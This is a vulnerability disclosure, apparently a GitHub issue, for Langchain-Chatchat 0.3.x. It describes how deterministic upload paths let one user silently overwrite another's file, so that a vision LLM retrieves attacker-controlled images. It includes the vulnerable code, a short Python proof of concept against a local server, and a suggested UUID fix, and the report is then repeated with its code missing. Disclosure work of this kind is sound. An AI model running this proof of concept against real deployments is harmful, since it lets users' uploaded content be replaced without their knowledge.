Vulnerability Report
Summary
| Field |
Value |
| Affected Version |
0.3.x (at least 0.3.1.3) |
| Affected File |
libs/chatchat-server/chatchat/server/api_server/openai_routes.py:260-284 |
| CWE |
CWE-367: TOCTOU Race Condition / CWE-732: Incorrect Permission Assignment |
| Severity |
Medium (CVSS 3.1: 5.4) |
Description
Langchain-Chatchat stores uploaded files at a path derived solely from purpose, date, and the user-supplied filename. The server writes files using open(path, "wb") with no conflict detection, deduplication, or per-user isolation. When two users upload files with the same name on the same day, the second upload silently overwrites the first.
Combined with the absence of content pinning between upload time and LLM retrieval time, this creates a TOCTOU race condition in which the vision LLM may fetch an attacker-controlled image instead of the victim's original upload.
Vulnerable Code
# openai_routes.py:229-235 — deterministic path from filename
def _get_file_id(purpose, created_at, filename):
today = datetime.fromtimestamp(created_at).strftime("%Y-%m-%d")
return base64.urlsafe_b64encode(f"{purpose}/{today}/{filename}".encode()).decode()
# openai_routes.py:270-274 — no conflict protection
file_path = _get_file_path(file_id)
os.makedirs(file_dir, exist_ok=True)
with open(file_path, "wb") as fp: # <- direct overwrite, no check
shutil.copyfileobj(file.file, fp)
No content pinning on retrieval:
# openai_routes.py:309-312
@openai_router.get("/files/{file_id}/content")
def retrieve_file_content(file_id: str):
file_path = _get_file_path(file_id)
return FileResponse(file_path) # <- real-time disk read, no snapshot
Attack Scenario
Via filename collision (file upload path):
The st.file_uploader path uses the original filename directly (dialogue.py:265), so two users uploading photo.png on the same day collide without any special technique.
Via hash collision (paste image path):
When combined with the tobytes() hash collision (see #5462), attackers can force filename collision even through the paste path.
TOCTOU exploitation:
- User A uploads image → stored at
.../assistants/2026-04-01/photo.png
- User B uploads same filename → overwrites on disk
- LLM fetches via
image_url callback → receives B's content instead of A's
Proof of Concept
import requests
API = "http://127.0.0.1:7861"
# User A uploads
with open("legitimate.png", "rb") as f:
resp_a = requests.post(f"{API}/v1/files",
files={"file": ("photo.png", f, "image/png")},
data={"purpose": "assistants"})
file_id = resp_a.json()["id"]
original = requests.get(f"{API}/v1/files/{file_id}/content").content
# User B uploads same filename -> overwrites
with open("malicious.png", "rb") as f:
resp_b = requests.post(f"{API}/v1/files",
files={"file": ("photo.png", f, "image/png")},
data={"purpose": "assistants"})
assert file_id == resp_b.json()["id"] # Same file_id
replaced = requests.get(f"{API}/v1/files/{file_id}/content").content
assert original != replaced # Content silently replaced
Suggested Fix
import uuid
def _get_file_id(purpose, created_at, filename):
today = datetime.fromtimestamp(created_at).strftime("%Y-%m-%d")
unique_id = uuid.uuid4().hex
return base64.urlsafe_b64encode(
f"{purpose}/{today}/{unique_id}_{filename}".encode()
).decode()
Full Report
Full vulnerability report: https://github.com/3em0/cve_repo/blob/main/Langchain-Chatchat/Vuln-2-Silent-File-Overwrite.md
Vulnerability Report
Summary
libs/chatchat-server/chatchat/server/api_server/openai_routes.py:260-284Description
Langchain-Chatchat stores uploaded files at a path derived solely from purpose, date, and the user-supplied filename. The server writes files using
open(path, "wb")with no conflict detection, deduplication, or per-user isolation. When two users upload files with the same name on the same day, the second upload silently overwrites the first.Combined with the absence of content pinning between upload time and LLM retrieval time, this creates a TOCTOU race condition in which the vision LLM may fetch an attacker-controlled image instead of the victim's original upload.
Vulnerable Code
No content pinning on retrieval:
Attack Scenario
Via filename collision (file upload path):
The
st.file_uploaderpath uses the original filename directly (dialogue.py:265), so two users uploadingphoto.pngon the same day collide without any special technique.Via hash collision (paste image path):
When combined with the tobytes() hash collision (see #5462), attackers can force filename collision even through the paste path.
TOCTOU exploitation:
.../assistants/2026-04-01/photo.pngimage_urlcallback → receives B's content instead of A'sProof of Concept
Suggested Fix
Full Report
Full vulnerability report: https://github.com/3em0/cve_repo/blob/main/Langchain-Chatchat/Vuln-2-Silent-File-Overwrite.md